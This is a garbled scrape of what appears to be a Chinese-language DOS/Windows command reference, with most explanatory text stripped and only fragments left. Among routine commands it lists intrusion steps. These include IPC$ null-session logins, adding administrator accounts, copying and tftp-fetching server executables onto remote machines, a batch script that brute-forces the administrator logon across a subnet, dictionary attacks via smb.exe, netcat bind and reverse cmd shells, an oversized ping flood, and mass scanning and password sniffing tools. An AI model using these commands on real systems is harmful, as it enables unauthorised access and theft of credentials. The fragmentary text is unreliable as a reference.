You are on page 1of 20

DOS

dir deltree cls cd


copy diskcopy del format
edit mem md move
more type rd
sys DOS
ren xcopy chkdsk attrib
fdisk date label defrag
msd path share memmaker

help restore set time


tree debug doskey DOS prempt
undelete scandisk
DOS
diskcomp append
expand DOS fasthelp
fc interink
setver intersvr
subst qbasic Basic
vsafe unformat
ver DOS smartdrv
vol lh
ctty emm386

:
Dir

? **
*.

. , dir *.exe dir .exe


/p

/w
5
/s
win

dir *.* -> a.txt a.txt


dir *.* /s -> a.txt a.txt
Attrib

attrib
+r
-r
+a
-a
+s
-s
+h
-h
Cls

Exit

format

/q
/q
Ipconfig

TCP/IP (DHCP) (DNS)


ipconfig IP
/all TCP/IP
ipconfig winipcfg ME98 95 Windows XP
winipcfg
IP

IP
TCP/IP DHCP IP (APIPA)
md
Move
Nbtstat
TCP/IP (NetBT) NetBIOS
NetBIOS NetBIOS Nbtstat NetBIOS

Windows Internet (WINS) nbtstat


Nbtstat
-a remotename
NetBIOS RemoteName
NetBIOS
-A IPAddress NetBIOS IP

Netstat TCP IP
IPv4 IPICMPTCP UDP IPv6
IPv6ICMPv6 IPv6 TCP IPv6 UDP

netstat TCP
-a TCP TCP UDP
Ping (ICMP)
TCP/IP IP
Ping
TCP/IP ping Ip

-t ping
CTRL-BREAK ping CTRL-C
-lSize

32size 65,527
Rename (Ren)
ren *.abc *.cba
Set
set

Shutdown
-m ComputerName
-t xx xx 20
-l -m ComputerName
-s
-r
-a -l ComputerName
System File Checker (sfc)
win
/scannow
/scanonce
/purgecache Windows

/cachesize=x Windows MB
type type bat

Tree
Xcopy
/s /sxcopy
/e
copy

del
ftp bat net telnet

net use \\ip\ipc$ " " /user:" " IPC


net use \\ip\ipc$ "" /user:"" IPC
net use h: \\ip\c$ "" /user:"" C H:
net use h: \\ip\c$ C H:
net use \\ip\ipc$ /del IPC
net use h: /del H:
net user /add
net user guest /active:yes guest
net user
net user
net localgroup administrators /add

,administrator s
net start
net start (:net start telnet net start schedule)
net stop
net time \\ ip
net time \\ ip /set IP ,
/yes
net view
net view \\ip
net config
net logoff
net pause
net send ip ""
net ver

net share
net share ipc$ ipc$
net share ipc$ /del ipc$
net share c$ /del C
net user guest 12345 guest 12345
net password
netstat -a , netstat -an
netstat -n netstat -an
netstat -v
netstat -p netstat -p tcq/ip tcp/ip

netstat -s
nbtstat -A ip 136 139
03 --A
tracert - ip() -w
ping ip() 32 -l[]
-n -t ping
ping -t -l 65550 ip ping( 64K ping
ping)
ipconfig (winipcfg) windows NT XP(windows 95 98) ip
ipconfig /all
tlist -t (
Support/tools )
kill -F -F (
Support/tools )
del -F -F ,/AR/AH/AS/AA
/A-R/A-H/A-S/A-A
DEL/AR *.*
DEL/A-S *.*

Dos
del /S /Q rmdir /s /Q /S
/Q

move \\ \ , /y

fc one.txt two.txt > 3st.txt 3st.txt


"> ""> >"
at id
at /delete /yes
at id /delete
at
at \\ip time () /r
finger username @host
telnet ip , 23
open ip IP telnet
telnet telnet telnet
copy \ 1 \ 2 /y 1 2 /y

copy c:\srv.exe \\ip\admin$ c:\srv.exe admin


cppy 1st.jpg/b+2st.txt/a 3st.jpg 2st.txt 1st.jpg
3st.jpg 2st.txt /b /a
ASCLL
copy \\ip\admin$\svv.exe c:\ :copy\\ip\admin$\*.* admini$
srv.exe C
xcopy \ /Y

tftp -i IP( IP) get server.exe c:\server.exe


IP server.exe c:\server.exe -i

exe -i ASCII

tftp -i IP put c:\server.exe c:\server.exe


ftp ip 21bin
ASCII ()
route print IP Network addres
Netmask Gateway addres Interface
arp ARP ARP IP
MAC arp -a
start /max /min

mem cpu
attrib ()
attrib -A -R -S -H +A +R +S +H ()

dir /Q /T:C
/T:A /T:W
date /t time /t DATE/TTIME/T

set =
set
set p() p()
pause ....
if if
goto cmd.exe
start
call \ call /?
for for

echo on off echo echo


echo

echo
echo >> pass.txt "" pass.txt
findstr "Hello" aa.txt aa.txt hello
find
title CMD
color cmd 01234
567=8=9=AB=C= D=
E=F=
prompt cmd.exe ( C:\D:\EntSky\ )
Dos
ver DOS
winver
format /FS: ,:FATFAT32NTFS ,Format D: /FS:NTFS
md
replace
ren
tree -f
type
more
doskey
doskey = DOS ( win2k
) dir doskey dir=entsky ( doskey dir=dir)doskey
dir=
taskmgr
chkdsk /F D: D /f
tlntadmn telnt admn, tlntadmn 3 8, telnet
23
exit cmd.exe /B
cmd.exe

path \
cmd win2K /eff/en

cmd /?
regedit /s /S
regedit /e
cacls ACL NTFS
/D :/P :perm
/G :perm Perm : N R W
C ()F cacls D:\test.txt /D pub d:\test.txt pub
cacls
REM
netsh

Dos
IIS
iisreset /reboot win2k
iisreset /start stop Internet
iisreset /restart Internet
iisreset /status Internet
iisreset /enable disable Internet

iisreset /rebootonerror Internet

iisreset /noforce Internet Internet


iisreset /timeout Val Internet
/rebootonerror 20
60 0
FTP ()
ftp :

ftp v d i n g[] v
d
n ftp ,.netrc
g
help [] []
bye quit FTP , FTP .
pwd
put send [ ]

get recv [] []

mget [remote-files]
mput local-files
dir ls [remote-directory] [local-file] .
,
ascii ASCII ()
bin image
bell ,
cdup
close ftp ( open )
open host[port] ftp ,
delete
mdelete [remote-files]
mkdir directory-name
rename [from] [to]
rmdir directory-name
status FTP
system
user user-name [password] [account]
open host [port]

prompt
macdef
lcd ,, HOME
chmod
case ON , MGET ,
cd remotedir
cdup
! shellexit ftp ,!ls.zip
Dos
MYSQL
mysql -h -u p MYSQL; MYSQL
root
mysql -h110.110.110.110 -Uroot -P123456
:u root
exit MYSQL
mysqladmin -u -p password
grant select on .* to @ identified by \"\";
MYSQL

show databases; mysql


testmysql MYSQL

use mysql
show tables;
describe ;
create database ;
use
create table ()
d ro p database ;

drop table
delete from ;
select * from ;
mysqldump --opt school>school.bbb DOS
\\mysql\\bin ; : school school.bbb
school.bbb
win2003
shutdown /
/S /R /T
0180
/A /M //IP
shutdown /r /t 0
taskill / pid
/PID pid, tasklist pid/IM
/F /T
tasklist

(PID)
/M dll /SVC

Dos
Linux
uname win2K ver
dir ,ls -al win2K dir
pwd
cd cd .. cd ..cd /
cat
cat >abc.txt abc.txt
more
cp
mv

rm rm -a
mkdir
rmdir
chmod
grep
diff
find
date
who Login
w
whoami
groups Group
passwd
history
ps
kill
gcc C
su
telnet IP telnet win2K bash$

ftp ftp win2K

Dos

1for
FOR / %variable IN (set) DO command [command_parameters]
%variable: %i
%%i %i% %i %I
%0%9 10 %0
%1 %2%9

2-9 net use \\ip\ipc$ pass /user:user ip %1,pass %2


,user %3

(set): (D:\user.txt)(1 1 254)(1


-1 254),{ (1 1 254) "1" "1"
"254" 1 254(1 -1 254) 254 1 }

command net use


&
command_parameters

IN (set)(set)DO command command

/L { (set) }/F
{ (set)(d:\pass.txt) }

@echo off
echo test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\


%1.%%G /user:administrator | find "" >>test.txt
test.bat C 254 IP administrator
IPC$ IP test.txt

/L 1-254 254-1 IP *.*.*


%1%%G (ip & echo net use
| ipc$ find ""
%1.%%G IP (1 1 254)
@echo off
echo ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200


ok.exe IP d:\pass.dic
d:\user.dic %%i %1
IP
Dos
2if
IF [not] errorlevel

IF errorlevel 0 0 IF
not errorlevel 1 1
0 1
IF [not] 1== 2 1
2
if "%2%"=="4" goto start 4
%%" "
IF [not] exist
if not nc.exe goto end nc.exe ":end"

IF [not] errorlevel
else IF [not] 1== 2
else IF [not] exist else else
else else
if del del < >
del < > if
exist test.txt. <del test.txt.> else echo test.txt.missing
.

()

1nc.exe


-h
-d
-e prog
-i secs
-l
-L CTR+C
-n IP
-o film 16
-p[]
-r
-t Telnet
-u UDP
-v -vv
-w
timeout
-z

nc -nvv 192.168.0.1 80 192.168.0.1 80


nc -l -p 80 TCP 80
nc -nvv -w2 -z 192.168.0.1 80-1024
192.168.0.1 80-1024
nc -l -p 5354 -t -e c:winntsystem32cmd.exe

remote

cmdshell remote TCP 5354


nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 remote
cmdshell 192.168.0.2 5354

nc -L -p 80 1 80 CTR+C
nc -L -p 80 > c:\log.txt 2 80
CTR+C, c:\log.txt
nc -L -p 80 < c:\honeyport.txt 3-1 80

CTR+C, c:\honeyport.txt

type.exe c:\honeyport | nc -L -p 80 3-2


80 CTR+C, c:\honeyport.txt ,

nc -l -p
nc -e cmd.exe IP -p *win2K
nc -e /bin/sh IP -p *linux,unix
nc -d -l -p <
nc -vv IP >


|
< > <tlntadmn < test.txt test.txt
tlntadmn
dir c:\winnt
>> d:\log.txt dir d:\log.txt
>>> ">"">>"(
@dir c:\winnt >> d:\log.txt @dir c:\winnt > d:\log.txt
>> >

Dos
2xscan.exe

xscan -host < IP>[-< IP>] < > []

" IP
IP"
xscan -file <> < > []

" IP
"


-active
-os NETBIOS SNMP
-port
-ftp FTP
-pub FTP
-pop3 POP3-Server
-smtp SMTP-Server
-sql SQL-Server
-smb NT-Server
-iis IIS /
-cgi CGI
-nasl Nessus
-all

-i , <>"-l"

-l
-v
-p
-o
-t , ,
100,10
-log (TXT HTML )

xscan -host 192.168.1.1-192.168.255.255 -all -active -p

192.168.1.1-192.168.255.255
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o
192.168.1.1-192.168.255.255 NT
150
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o hostlist.txt

CGI 200
5

Dos
3: xsniff.exe
FTP/SMTP/POP3/HTTP

-tcp TCP

-udp UDP

-icmp ICMP

-pass
-hide
-host
-addr IP IP
-port
-log ?

You might also like